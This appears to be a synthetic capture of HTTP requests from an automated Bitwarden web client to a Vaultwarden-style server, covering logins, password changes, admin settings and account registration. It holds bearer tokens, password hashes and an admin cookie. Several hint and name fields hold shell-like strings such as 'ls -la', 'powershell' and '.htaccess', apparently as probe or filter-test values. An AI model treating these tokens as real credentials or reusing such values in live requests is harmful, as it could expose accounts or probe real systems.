{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a7e9b61e-1397-4e93-bee8-0678623b0292&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/api/accounts/password", "headers": ["Host: example.com", "Content-Length: 580", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI2NjEsImV4cCI6MTc5NDI4OTg2MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImE3ZTliNjFlLTEzOTctNGU5My1iZWU4LTA2Nzg2MjNiMDI5MiIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.eVQbbodG1F4aGjOptlTR97tP7BwskXPqy02j_aBxWxDDAzhw1fCQk1Bw5YSzu9V_wiG-gYNaE8pOyZi-uxcPOukpIH8wU0eu2FWrVFovzCNrR64l1VmxMUWCmcsAB4lTy4WreZSjz5qw9_6oVp0akqVrFDMrAJrFqUfW0eZBoo1obSXbX9i_Gd7cFFekMn6G2tE3SaB_c4mLuwNX7yM9rhqm_t8LgJDeiaxOabDGFjnToFRx-7ThucD3GvdSUbdrrWc5IYnG0LUg5O-a1KGq8XXI7fACnqCLdyFnpeEsIn39XtJbjP4_uVeaXWHGNgAmU_j9YykvQK2tQba5hW__Cg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"masterPasswordHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\",\"authenticationData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"q4vSK61/xBgUNLPLyCUuEsTdPQhQGCinB/TEPUqhvtM=\"},\"unlockData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.mtawyrPhhPA1be3e99PSzQ==|QFP1cXRwiFIkUrgN1T8sxBUfj6ByZYoa6MBQJtizghWmUEjSbAuVB6Ub/8H4avMMafotW55+6X6Mm+nn7ztW3DUU7jSaN38HkaXgyjL42WY=|pQvUwULSDKtL70EDcsasbLlahdqwBZWmuJu6MazRjts=\"},\"masterPasswordHint\":\"python3 notes and ls -la\"}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 236", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e1fc1704-a4b5-47bc-8ee1-41db0aaae9ec&deviceName=unknown&grant_type=password&username=alice%40example.com&password=q4vSK61%2FxBgUNLPLyCUuEsTdPQhQGCinB%2FTEPUqhvtM%3D"}
|
||||
{"method": "POST", "target": "/api/accounts/password", "headers": ["Host: example.com", "Content-Length: 574", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI3MDgsImV4cCI6MTc5NDI4OTkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6ImZlMzkyZTlmLTBkODctNDczZi04N2ZmLWM4NzRlY2I5N2QxYiIsImRldmljZSI6ImUxZmMxNzA0LWE0YjUtNDdiYy04ZWUxLTQxZGIwYWFhZTllYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.b4Owd5xG_52ym1e04tZ3SxY3L-BxeiTqaEFgnxt6Ts3P0wcrmQAXyvu9q22Z7UibetQWlLxsZ-YBO5wzU1OnUHtMf2VbFKdSOATb4XzB7jxCm7M58_9nElwHpU5eBk1J7fE90SKsAmT6YZ5SjAkxGOWbFUhDEi59qng22-tJ_dGVGXQuJypfAi1_D6Osm63O5XALkXBvX0cKQamVoXGri8ntfux9AP2O1tDK1Qp1biLUWyOo0Me4re2kWbPMCnqxQyUbA0sl7TH2XCvg9NUEAaE5q4JObqyFfSZ7a0DTHsh8YH6BnL7RPM0SG4yg3Tbng5fSSy9XW8s1ir7DbUjgHA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"masterPasswordHash\":\"q4vSK61/xBgUNLPLyCUuEsTdPQhQGCinB/TEPUqhvtM=\",\"authenticationData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"},\"unlockData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.OgRcIevHsEgOV1cRElOkmg==|d17l5F/azddns9F+hOtBi3HoqMXTa2lRZjEXY4/0oP88qCAs9j6TBXbgRiPLh1X6BPVl4/V6miNM+FKtWQeQ88SEgbv341U9ElwxRXhkcWA=|+CMb+HCEBZ8Psva8Z7yctMN91/0sOEOkgAYW6O29k7E=\"},\"masterPasswordHint\":\"powershell profile\"}"}
|
||||
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2555", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI3NDMsImV4cCI6MTc5NDI4Mzk0MywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.FTIEtk4un0CKwO3OLvJ_-tv_4o-Xl5AoRIoeagRLosXQwGK8LN81W6uJpPRxnpiJy7356-xYSEtlnM3tN-PmwikOjweVvIEoFau11knEJPeBtYv7sSV-jrnQKAkRgZSM3Ppj9fn9KzVmSAj_Df3R3zT_j0cDL1q4hrbm9vvomKhv-uwCOqNCmIP1FqOwmnPgkJ519x5FOT80yApR8LEEysauin2ofqBWcMAiE8YppZuiRSHI6XqScf28sxnA1xOjjX0MXUeSjvsjraaJzM5SXibzHRL6CO1XFvqoA4dWSaDcTKu18Q1ssNU6w3sDoKX6MoiridvtAmaW4ms65lOvig", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":null,\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
|
||||
{"method": "POST", "target": "/identity/accounts/register/send-verification-email", "headers": ["Host: example.com", "Content-Length: 92", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\",\"name\":\"powershell admin\",\"receiveMarketingEmails\":false}"}
|
||||
{"method": "POST", "target": "/identity/accounts/register/finish", "headers": ["Host: example.com", "Content-Length: 3348", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\",\"masterPasswordHint\":\".htaccess\",\"userAsymmetricKeys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyLtb645AK3eNDoCEXKuM4hMd5CjQJPRinz/JPtPuy3mvpWjHciM1UhC6qKHk/VYpBKMWSEP+DuaNtCwYU6yhWyqlfLeKiBx1t/vUkLG8Qk4TR3c0rGXnez9WK+fhTfh/tIoXEqKfXH9cFlPBHO3fKXlPQbb3OCHqu3mdWjZ+jjUOp3PgStVLNHyzEJ0oU0UkX0VVqAEzakH37xcvwHZAuea7jBmgc9mBPF5S13UmILA01IiGyEuBoJopwvZguz6msacO2SqymRYfDGBYXY4Cl7pKViV0BBZFPGFbszLrC3KzaHRY2Tplz+ZeJQNx2owf31TQ8/Tc/CdlL/qO4NwLmwIDAQAB\",\"encryptedPrivateKey\":\"2.iB6ZSQawm9h1pyTq/ZG5YA==|zHrGu+3csp1X5paJOAp8NQWrZIOkycjtXNHrzoLi52RnRjt2HPDchYv5dNGzVtI517ErK1w+cgPw5/B5zPDwHGJUjckJBhXQ3cTzrdrBUjbkDBlGHLICnyb8NpbiWkdr0jUQLkCqcUpQulyyDjl1zPhXnIMhmv1fEqYw9qrk0jGcjDCvND80RvGg0lNnns3a1WKXoV0OazXl4pCXRRGMfDR477eAvcE0olKyeiZcEdfHmfjV4ysm4l/pUfpkRNQz3QPV1Agc/UT6Ji6TrYz8aicBIVZBYI9QfhGxG0qYrNqjBYkkq4ui1i7Feeqdo1eeAfLoT3L2otAnuObOy6RNAyDujg9IiEYterFzU+X6cN97dtzphqZOY/PpWJp0nmApZNqj8dz3EA3ibg5M4VFCMICqBxmV8cZNfllC3leIExtFyi1SDjpySc8RyJ3gTrm1OfjCMFOsBTMARAoRahRT8VEvvm1l92tnLTBbizfjoIggA5JJ0miGZobRo+jePw9Bhl15Uu3NwqH4OGXLLJ6IzCAlzipRQdd2Y2LfaLMCuMl3njHFNbd1rTQv3c1LPWQAWPQvjXDUx4zodraBRnGiLtTsTjCVJ/YSExIrQkMvWJd/NYRGo3+E/WNmzUn8Few11rY+JxyKw4TbW+IVSsqBOG69gxCO2YI65v9nSVhmAf63fyVDJA5ZgUP+Yo/RiJyZNa8yK3J6bn8OAUYWu4yX5ZEL3UJ8jO76PuNzOXK4kIB5HL8hcBv1KS/qc6/tQ7efuePG1N1+a7I+OWa3PuLKCBL/EAiLgnyO28YXoBkBTqWA/7noXVr3bwNpc0gX2jQVFVQHpGYajPwczBVMlkXZXBoaJbixfzNmZnLg+vdYBvwv0QNeDepJntqDT+gE3ibKIK2aM+HwWtJajurjm5S+iwfeCuXA+BA8CRaZIn5VQKVoTwLGc6iJ2oeVHEydyTrxunN6uk8xMKP3J4W1xItzr2e4IssVqDCspKoAasL5OBoCxWnAebkuqM0HlzuJbixR4snc3biwZVzE//dPy1WYIN1zm8b3UqYn+LkntfO6IT6FOl1TxlVUGmfEuZwm8auoFtiEbNub0VwkuzzsEshKR25y5vMOBoBKcjQ/zieai2pf1axfRcXBnbgynv6CKKf5jOEUVW15URVCnZFRTFLfGwuNiyhC0Nxx4fgLao9JXm/bQNJjpdgFp9LuaUN0Mq20vx2zbkuo0j4aH3RsnkFIcH55SN4r6eVf651GNhGQ5ccwYUltMm1IZGXAEBpv+EJ2+5B4WDGZmA+UtbqoMPmdfe1d0cIdcJ1xocZrCYVUKs8DjUamQ4iiD8OCMLuXR9iokij9HLJtPTQBIjds+xjdAz6XoVuzOhqjtR/dWm385wbeLpNLj1dPflRaYkajn9XEz/8Flw/CM2r2UJcfgC7uVR58Loiwo0QziF/Of8HyU4qVbnoxl9zQRud/4IUZWWEEFzaYwYSuQvRT44n6DPKuLGfjO7EK6s/lit2Ln9lZKKgb3nW5BaZjh8KyXyU1MMKD0xXiry5oy/J097KhoMvXJup0EgdKtnKnnT5kkZ2YY+DJW416Ej7pnErR1bP4cDw98s43d9fCMOyvgn9byIKJ/YGlihUOrN0+Fqn5dWnOxsE=|9eW/HWKZYv/rst6wsqzjFwBBfjckKPOO14MLcOPdUL4=\"},\"masterPasswordAuthentication\":{\"salt\":\"python3.dev@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"ovyYZWijzy8e/C940Ikcn1iF/kRKLGBQbXmhBC/I+ZU=\"},\"masterPasswordUnlock\":{\"salt\":\"python3.dev@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2./xh7dFvPMQmV4/EirH8fLA==|qS9IxqClHjFuMSyAW5Ao2fiO4C24j5HMig4ZfUEmU1sW0BbxTMNTSo/1q8sQ3DS6D76NAXDzxicubqhr1vYTNRaVk7RGDISG95IQgYqgcl4=|AoT4BslDLHng16p1QQ3QeCCqujVSVmlNL54W568W2bk=\"},\"emailVerificationToken\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4ODQsImV4cCI6MTc5NDI4NDY4NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxyZWdpc3Rlcl92ZXJpZnkiLCJzdWIiOiJweXRob24zLmRldkBleGFtcGxlLmNvbSIsIm5hbWUiOiJwb3dlcnNoZWxsIGFkbWluIiwidmVyaWZpZWQiOmZhbHNlfQ.YQnKOLP4YKEERu7G2UFsq2HldBEbby7aNduheU5vjir2z_r60Iwnjdjez8U_ixgbTNDwMU2YNzZNv6e6DaVB_4_1nHJt1m4inYlv_vvjD5E2aUDMww4iWb0zr2g_llq3XlKaXtbkfJVvZNJ8njckr7rOJgD-fTHkXDe_2h7r0T7jwSafhan1arZmfiKYdLYY2l9mU-vRrE-N0RmOs7H1ZQUAeTrX_A3KcgK0oMwEkCsZx0kGWJkDZs0xYEGlewbr82d5SPlv2k78GjyzogKWvJs8glHZpwUTBCeiu1jco7mLSDxWN-TQyUhQY-wtmTkv2CBT0ivjGERCKJzVWjIdoA\"}"}
|
||||
{"method": "POST", "target": "/identity/accounts/prelogin/password", "headers": ["Host: example.com", "Content-Length: 35", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\"}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 246", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=b69341f5-c05b-4378-9c35-fe1043bfade3&deviceName=unknown&grant_type=password&username=python3.dev%40example.com&password=ovyYZWijzy8e%2FC940Ikcn1iF%2FkRKLGBQbXmhBC%2FI%2BZU%3D"}
|
||||
{"method": "POST", "target": "/api/accounts/key-management/user-key-id", "headers": ["Host: example.com", "Content-Length: 48", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4OTEsImV4cCI6MTc5NDI5MDA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6IjQ0OTM0Mjg2LWVhNzYtNDNjMy05YTJmLTFhYzRiYTVhY2YxNSIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJwb3dlcnNoZWxsIGFkbWluIiwiZW1haWwiOiJweXRob24zLmRldkBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiI4OTZlNzk3ZC1kYmVmLTRjYjctODQzNi05Y2ZkYzRmMTUxNWIiLCJkZXZpY2UiOiJiNjkzNDFmNS1jMDViLTQzNzgtOWMzNS1mZTEwNDNiZmFkZTMiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Kp43tJ3hssLaXnAx7W75fCpL1UZKvXV31ASpVeUQrlie54hx7DWXBCWjb_HIA64xiPrmCw3QhyhDA4BXlqSJljNLmg_h5022joA5HequCB2sgo9dd9MKaB0EO6oqb3v0gA5e8Gpo49ZV12vF7nMW-MTP82g9-OspQVSfNARGd7e8BOpwQzq4ZYmxvMAMgl9HMXHxFfsAzq5PQCyqR1vEp6iS7uapbTWbrvkosDFWEHVhmrPGTkB3uR5Lfht46iQNJ4aA0KQFdPFDec8iwuob4Couj90xov1hdZc77bgxHg6qvzE4_0HutXPZ5jyxGQmogdMJMlx0DDCB9pAjZeoG9g", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"userKeyId\":\"3792b4ab9863972f1f7f5bf6ded0b595\"}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4OTEsImV4cCI6MTc5Njg3NDg5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiS0VQUnZkdy1TQVk3UzZaX05PV2ZNb1ZiRURjejZTTDFsSWVIckRnbkUtRWFBaFFVdGlfYWFPSGZ6M2VkRy1nZzlkRmI0YkpqRW5oSC1tcVdRLTB5c0E9PSIsInRva2VuIjpudWxsfQ.MwoZxAVoW7_XPkjPiHjTmqKKhYFOMTDY5xZFTwRCyZeD1TRufNxTlHkZrc_BZJjA32bk6XZKb4b-lSQjIKWftorUEX3gsKqH9E-0GKc2sLR8BGpqpj-iVevcG8VzCjknBJHLG5iRbh2vm2tuxWyNU_sRa9dTI6T1kJh-qv-mxdyujGKJIkbQ6zHxtO3j2XIaL38eywUC3cXTgsvlFwTovs0lQzMEm3cM-hNPdjQTxvJ4Re1IAPHD6-LT6bOXpUG9Oyr0vqgeO68FsBofmCOft6ihzyNne5qE1vAtEOx3uuzG_J3SXn4NyazZgjf6pBO31EkevRkjNCDSMFsIXbTN8w"}
|
||||
